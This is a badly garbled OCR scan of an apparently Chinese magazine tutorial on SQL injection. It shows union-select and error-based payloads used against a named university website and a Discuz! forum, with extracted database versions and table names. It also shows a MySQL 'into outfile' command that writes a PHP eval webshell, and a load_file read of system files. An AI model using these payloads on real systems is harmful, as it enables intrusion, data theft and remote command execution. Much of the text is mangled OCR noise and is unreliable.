R L2 ol i ORI Bt 7o AR RO Sl Bk e By, B RS A, R AR Bl ﬁﬁlﬁ‘iifﬁﬂﬁlﬁlﬂﬁfﬂﬁ?ﬁ
A R R S R R bl ol RS A, IXH R B
Unioni#(BFF BOKIR): SELECT 807, XA, FUULECT BT M, XA B BB X B
Unionki R HIREAIR): SELECT &‘f NULL,NULL, 'Y Bt NULL,NULL, B, NULL, 5 NULL, 8, NULL. & |
Shael, Bt B ERIN, R ATHER A RS T, RSO S R, BT KPR SOT A, H AR
WRA R B BT, i AL S A, s




7D Postoresariznmmes

’ Unionfiil (FFF EOKIFD: SELECT BCF, S0, UL BT 87 i, SO B0, 3080, S0 B B I
Unionki (GEHIFEAR): SELECT B°F,'a , NULL B, BF NULL,'a B, 'a B, ' B, o B
AERRI 7 2 d Rl T S
I ] xx.php?id=0+union+select+1,'a’,null,2,3,0ull,'b’,2,'¢’,3,'d' .4, "¢ ',6 ] I
BHANAE T 2 Wi,
3. GPCBH Monju) & I
PHPHAIMERBEAG S, P08 “AA TR REE T . BT php?id-3'or' V= 11 PHP AL AR PREE AR K. php7id=3 or\ TV
TN T I
PR EmE 2 Eiln kAN 7, ARV B O a ORBGR A, GPCHon, SRR TR T VA2 7 2 &, AR T. A
BB RENE T ? BRALGE, Mg, S HLREABRGHIN, ARSI LA ORI
Ak, EAKIAMHFRN2? $rnNg. LKAV 2 %IDERM & 9?2 AL IR AR YR, Mland 12— 4, H I
AMT A, LR, and 1:20] A K13, 14, £1-1000000000000000000000, X HREADK AL, $& X,
ISR IEATHE o B0 1 8 SR 2 Bldtiversion QK] AA 2 ST 5, B4R — B I
xx.php?id-0+union*select+1,a’,null,2,3,null,’b',2,'c",3,'d',4, ¢ ,6 ‘
xx.php?id=0+union‘selectt Lversion(),null,2,3,null,version(),2,version(),3,version(),4,version() ,6
A T RUT Ao g1 I
4. TFBERY ) 48

PostgreSQLIMTER R AAL#, WARLM, ARRMBABAAG R, AREM/ K E23KE% 00 WA M 2% 8REMYSQL,
MSSQL, SQLitei®f1 PostgreSQLA PN ", WolbABuk%2b%2b, — AR, frd, 28, . Mitdo2bezbfin] fig

Sl i VA AR, F A KGR, ok A 2, I
5. /hBedy

PostgreSQLIAFE P BUKI CEBLT MySQLIFIroot, MSSQLIFsa) 47 Mpostgres, B CRBLTMySQLFImysqUE U, MSSQL
[Fimaster 5§05 £4°7 M postgrese root Hl saft BT 12— i@ITIA, PostgreSQLUIATRE BT 21 @i Mi, 5l vtiy
PostgreSQLIR T { nologinffibash shell, FmfRtaity, nfBAZ: ul e Plshellifl,

BT TR2%, WOTR. DRI, HbEALRAY: hup:/Avwwa-tokyoacjp . BB R AARIARIM ¢ ——
(PostgreSQLITTEIL) . BAANTRRGTHEPostgreSQLANT 7. BARIVE ik, ALLIAB, Bf BE P,

LA L

htip://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15~  Giii iF i

hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+order by 16— G Hf#iiA

S —

SRR, UL BB 15, WIAR union select'1,2,3,4,5,6,7.89,0,11,12,13,14,15 - BAUR BRI s, WA G R

T, M2 AR 2
hitp://www.u-tokyo.ac.jp/news/detail_e.htmlI?id=13072+and+1=1+union+select?1,2,3,4,5,6,7,8,9,0,11,12,13,14,15 $iA6L i
http://www.u-tokyo.ac.jp/news/detail_ehtml?id=13072+and+1=1+union+select *null,null,null,null,null,null,null,null,null,null,null,pull,
null,null,null - TFH 5 i

B R P A5 S BCT R T BRI R BT

—_I_}m/\wvw.u—lokyo.ac.jp/news/d etail e html?id=13072+and+1-1+union +select+nuﬁ, ’

null, 1,null,null,null,null,null,null,null,null,pull,null,null,null—




') PostgresoLitAERE

o, XA suim A T B, LA AL, AEHEARAL,  F i PITR Aol B 0K B, B2 W SLImE R,
B2 TS A K ¢, BHRAT 1A nulDR 2 W2 IR RGR Suil, AL 2?7 BEMARL, gpe HON, S3&I 7Va\, Fiilsl
177 ] D 7o 3 (P LGRS
ALLE A XSt 7, GPCHon, BALEM A7, MversionOfU R 1 I
hitpe//www.u-tokyo.ac.jp/news/detail_ehtmi%id-0union* select-nullversion(), 1,version{,version(version(null,version(,version(),
version(),null,null,version(),version(),version () — I
{5 5 1 %2
| PostgreSQL 8.4.9 on x86_64 redhat linuxgnu, compiled by GCC gee (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64 bit |
by Eiln, JUSCHRA it O — AWk 7. IREEIAA A WAEA Wt R A RR — ! I
http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+selectnull,null,null,null,null,null,null,null,null,nullnull,null,nullnull,
datname-from pg_database*limit* 1 offset 0+~
PostgreSQLIMmit y offset xAMIMySQLIlimit x,y—H ML, Tlimit 1 offset O — BB, limit 1offset IS 2 0IA. X K Hi.
W7, itk RA S T, LB, BHARLIEPosgreSQLIEATIDRYS ¢, BREEASAAE S, ABZ, HifEd I
AET )

S ——




B phpMyAdmin5webshell|J\%

I AT A mysq PR R Rdconsole P e 525 1K SO0 M 5, RIS FABA 1 3500002 5 1 A0 o

select 0x3¢31706870206576616¢28245524551554553545h636d645d293b3 3¢ into outfile 'ez//appserv//www/ /xoops//modules//

wordpress//app.php';
I R E LT A
| select code from text into outfile 'ex//appserv//www//xoops//modules//wordpress//app.php’;
fin HA T windows—E £ Einix oz Uit 551, WER AR 8RS inux FIFL,
W B 51— roo 5 12 BIMySql,  MphpMyAdmin, outfilel®, L Likload file, MR, &:
create table test (a text);
insert into test (a) values (load_file('c:\\boot.ini));
select * from test;

HEINf R

r
I
I
[
[
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MySGL T AR iR —N

EFIMySQLIE AL, nlRERVS A ARBSIR A, AL S KlS 1o SEARNEK, MySQL 5%, it

‘ select table_name from information_schema.tables where tabel schema-=database

| |
I RN R, HORI AR A REE AR ablel, P7RERRETIL IR, BTG R Gt 1. LanhdkBuEgy

27 oREM, #lablelcox BIERABD, Sn&A il

] Table 'down.[tablelsessions’ doesn't exist |
I AR 7 XAl

AATRATDR Al — A%l Al
I %2527union*selects 1 +from +(select* count(*),concat (floor(rand (0)*2),0x3a, (select table _name+from *information_schema.columns+

where +table_schema-database() rand teolumn_name liket %2527%25pass%25%2527 limit 10, 1),0x3a)a +from+information_schema.tablest

group +by*+a)b%2523-1.html

BT B AR A pass RSP — 4

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:15pm
Script: /core/entrance_web.php

5SQL: SELECT * FROM [Table]stats_selarch WHERE g = "union select 1 from (select co

like "#apass®’ limit 0,1), ema.tables group by a)bz'
Error: Duplicate entry '1}[Table]backyard_s ' for key 'group_key'

Errno.: 1062
I F http:f/fag.comsenz.com EE RTINS

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:12pm
Script: /core/entrance_web.php

select 1 frc

Table 'dnwn.[lah!e]i)ﬂl'k}-ﬂr(l sessions’ doesn'texistif SRR IA D KA frfi. 1k PRI, LB, &k RRE, S48
I Bl 27 i SO TG R 72 TRMT — Phex:

%2527uniont selectt 1+ from + (select + count (%), concat (floor(rand(0) *2),0x3a, (select + hex(table_name) + from *information_schema.tablest

where *table_schema=database()+limit+48,1),0x3a)a* from *information_schema.tables* group*by*a)b%2523 1.html
I SR ARSI EX R i/ T A

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:35pm
Script: /corefentrance_web.php

SQL: SELECT * FROM [Table]stats_search WHERE q = "union select 1 from

a)b="

696FEE73:" for key "group_key'

a from infermation_schema.tables g
Error: Duplicate entry '1:785F736

I Errno.: 1062

L

WWW.BLACKRAP.ORC

AR e AThexOFh I A AN unhex(, BSRXE T THRS 7.
HESEH T 1T M f1unhex, ﬁjﬂﬁfﬂﬂqfﬁlﬁ785F73657373696F6|‘:73¥’é HMASCIIAE"x sessions”, XKL NR 55 2300 A I o2 1 [iable] £X

PAA A KB FRAL [ Tablelbackyard sessions, R4 fx PR A A Bl A0, AVRIEEE R IRIR: I
ﬁT\ o I

S —






